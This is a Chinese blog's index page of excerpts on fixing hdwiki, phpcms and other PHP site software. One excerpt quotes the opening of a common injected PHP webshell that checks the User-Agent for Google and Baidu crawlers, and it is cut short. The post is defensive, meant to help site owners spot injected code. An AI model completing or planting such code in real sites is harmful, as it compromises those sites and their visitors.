• 欢迎访问苗景云的博客
最新在修改hdwiki 6.0,并对模板进行了修改,突然发现首页的登录框无法正常登录,提示“缺少TOKEN参数”,仔细核对官方模板发现header.htm中缺少了<meta name="csrf-token" content="{eval echo csrf_token()}">,在</head>之前加上这段代码即可!
发布:苗景云 | 查看全文 | 浏览(1673) | 分类:IT技术&设计 | 评论(1) | 2020年01月14日
hdwiki 后台修改cookie前缀后,前台用户登录正常,但是管理员登录总是跳转到登录界面,这时候我们需要对多个与cookie有关的文件进行修改。分别是control\admin_setting.phpcontrol\user.phpdata\cache\setting.phpmodel\base.class.phpview\default\admin_cookie.htm打开这些文件,搜索cookie_pre,把附近的hd_ 修改为你后台设置的cookie前缀,如:mybaike_这样后台就
发布:苗景云 | 查看全文 | 浏览(1646) | 分类:IT技术&设计 | 评论(5) | 2020年01月12日
有些时候网站有漏洞会被注入一句话木马,常见的一句话木马如下:<?phpheader('Content-Type:text/html;charset=utf-8');$key= $_SERVER["HTTP_USER_AGENT"];if(strpos($key,'oogle')!== false||strpos($key,'aidu')!==false){   $host_name = "ht
发布:苗景云 | 查看全文 | 浏览(1485) | 分类:IT技术&设计 | 评论(1) | 2020年01月11日
问题描述:在内容页中我们常常调用添加文章时设置的关键词,程序自动把用空格或逗号链接的关键词拆分冲一个一个的供我们loop循环输出,但是有时候会有空白的出现。解决方法:其实这个处理方法很简单,看过iphpcms.net的视频教程中提到的内容模块下字段的录入输出处理机制的同学都应该知道,找到以下文件:/phpcms/modules/content/fields/keyword/output.inc.php在倒数第2行:将1return $tags;改为1return array_
发布:苗景云 | 查看全文 | 浏览(1724) | 分类:IT技术&设计 | 评论(1) | 2020年01月06日
方法参考自网络,未经测试!!当我们在加载数据点击更多是,进入详细页面然后在返回列表页还要回来上次浏览的位置。网上也看到好多,都是三严两语。不多对我的的启发也是很大。再次也多些网友的启发。不多说直接上如何操作。我的方法主要是 cookie 结合 sessionStorage来完成。1、sessionStorage 存储ajax加载的html数据                      &
发布:苗景云 | 查看全文 | 浏览(1447) | 分类:IT技术&设计 | 评论(0) | 2020年01月05日
本文整理自PHPCMS官方论坛的一篇文章,感谢作者的奉献。假设已经配置好ssl证书,不知如何申请ssl证书者请自行百度。1、如果已经安装好phpcms,则需要对caches/configs/system.php中的配置选项做替换,将"http://"全部替换为"https://"。如有必要,数据库中已存在的链接也要完全替换为https开头。2、程序修改部分:(1)修改phpcms/modules/admin/site.php 大约45行和128行的正则(&
发布:苗景云 | 查看全文 | 浏览(1728) | 分类:IT技术&设计 | 评论(1) | 2020年01月01日
打开phpcms\libs\functions\global.func.php,找到pages()函数,在下面新增这个方法要同时结合《phpcms新增分页样式修改》使用。 function new_pages($num, $curr_page, $perpage = 20, $urlrule = '', $array = array(),$setpages = 10) {        if(defined('URLRUL
发布:苗景云 | 查看全文 | 浏览(1816) | 分类:IT技术&设计 | 评论(0) | 2019年12月25日
大家做网站的时候,可能很多时候分页样式都得根据模板的要求来控制的,这时很多人都会去修改全局文件phpcms\libs\functions\global.func.php里的pages()函数,这样问题就来了:这个分页函数连后台也会影响到的,就是说,这个分页函数是全站共用的。 下面提供解决方法:(这个得修改文件,修改前记得备份) 打开 phpcms\libs\functions\global.func.php这个文件,找到分页函数,复制一下,粘贴到默认分页函数的下面,
发布:苗景云 | 查看全文 | 浏览(1806) | 分类:IT技术&设计 | 评论(0) | 2019年12月25日
外卖人商品库列表默认没有商品缩略图,这样我们就不清楚到底是否上传了商品图片,那么如何加上呢,修改方法如下:1、打开templates/adminpage/shop/goodslibrary.html ,红色部分为新增<div class="orderList_show_goodli">                         
发布:苗景云 | 查看全文 | 浏览(1570) | 分类:IT技术&设计 | 评论(0) | 2019年12月18日
外卖人商品库上传产品图片窗口打开慢,主要是因为<{ofunc type=img link="<{$goodsinfo['img']}>"这行代码加载默认的网站logo,并且在logo前面加上了域名,导致图片加载不到。如http://www.xxx.com/http://www.xxx.com//images/370300/other/xxx.png,解决方法如下:打开templates/adminpage/shop/goodsone.html
发布:苗景云 | 查看全文 | 浏览(1478) | 分类:IT技术&设计 | 评论(0) | 2019年12月17日
外卖人商品标题长度不能大于50小于2 的修改办法,一共三处1、打开module/shop/adminmethod.php,搜索goods_titlelenth,    大约1322行    if(!(IValidate::len($data['name'],1,50))) $this->message('goods_titlelenth');     
发布:苗景云 | 查看全文 | 浏览(1464) | 分类:IT技术&设计 | 评论(0) | 2019年12月16日
外卖人商品库商品排序无效的解决办法1、首先打开module/shopcenter/method.php,查找function alltoshopgoods() 大约2563行,修改下方代码,注意红色部分为新增if(!empty($name)){ $data['list'] = $this->mysql->getarr("select * from ".Mysite::$app->config['tablepre'].&qu
发布:苗景云 | 查看全文 | 浏览(1624) | 分类:IT技术&设计 | 评论(0) | 2019年12月16日
php生成静态html分页实现方法<?php$conn=mysql_connect('localhost','root','wy')  or  die('连接失败:'.mysql_error());  //选择数据表if (mysql_select_db('mynews',$conn))  {  echo'选择数据库成功!'.'
发布:苗景云 | 查看全文 | 浏览(1613) | 分类:IT技术&设计 | 评论(0) | 2019年12月07日
robots.txt语法   1) 允许所有搜索引擎访问网站的所有部分      robots.txt写法如下:          User-agent:  *          Disallow:       或者         User-age
发布:苗景云 | 查看全文 | 浏览(1442) | 分类:IT技术&设计 | 评论(0) | 2019年11月30日
之前因为phpcms老版本存在漏洞,导致网站被挂一句话木马,形式为http://xxx.com/index.php?r0g22i=sy3bkhttp://xxx.com/index.php?id=87078修复好,访问这些链接会直接跳转到首页,导致搜索引擎增加了很多无效的收录,严重的会导致降权!那么怎么让挂马的链接返回404页面呢,方法如下:打开 \phpcms\modules\content\index.php 文件在init方法下的第一行增加下面代码header('HTTP/1.1
发布:苗景云 | 查看全文 | 浏览(1471) | 分类:IT技术&设计 | 评论(0) | 2019年11月30日
phpcms默认的网站sitemap功能不是很好,最近想要新建个文件重新生成,结果添加菜单后总是显示Controller does not exist,如图:排查了很久,才发现后台对应的文件中class 定义没有对应,比如后台添加菜单的参数设置如下:那么对应的文件中class也应该是sitemapp2019,参考如下代码(注意红色部分):<?phpdefined('IN_PHPCMS') or exit('No permission resources.')
发布:苗景云 | 查看全文 | 浏览(3092) | 分类:IT技术&设计 | 评论(0) | 2019年11月22日
默认的phpcms 的tag是无法筛选catid的,那么怎么才能实现呢?首选我们需要将catid写入数据表中,方法参照 《phpcms 关键词keyword表加入栏目catid的方法》然后修改phpcms/,odules/content/tag.php 找到public function lists()进行修改,注意红色部分public function lists() {//传入siteid参数 --wjbif(isset($_GET['siteid'])) {$siteid
发布:苗景云 | 查看全文 | 浏览(1565) | 分类:IT技术&设计 | 评论(0) | 2019年11月18日
修改PHP上传文件大小限制的方法1. 一般的文件上传,除非文件很小.就像一个5M的文件,很可能要超过一分钟才能上传完.但在php中,默认的该页最久执行时间为 30 秒.就是说超过30秒,该脚本就停止执行.这就导致出现 无法打开网页的情况.这时我们可以修改 max_execution_time在php.ini里查找max_execution_time  默认是30秒.改为max_execution_time = 00表示没有限制2. 修改 post_max_size 设定 PO
发布:苗景云 | 查看全文 | 浏览(1673) | 分类:IT技术&设计 | 评论(3) | 2019年11月16日
« 之后的文章苗景云的博客
<< 向左走,向右走 >>
更早的文章 »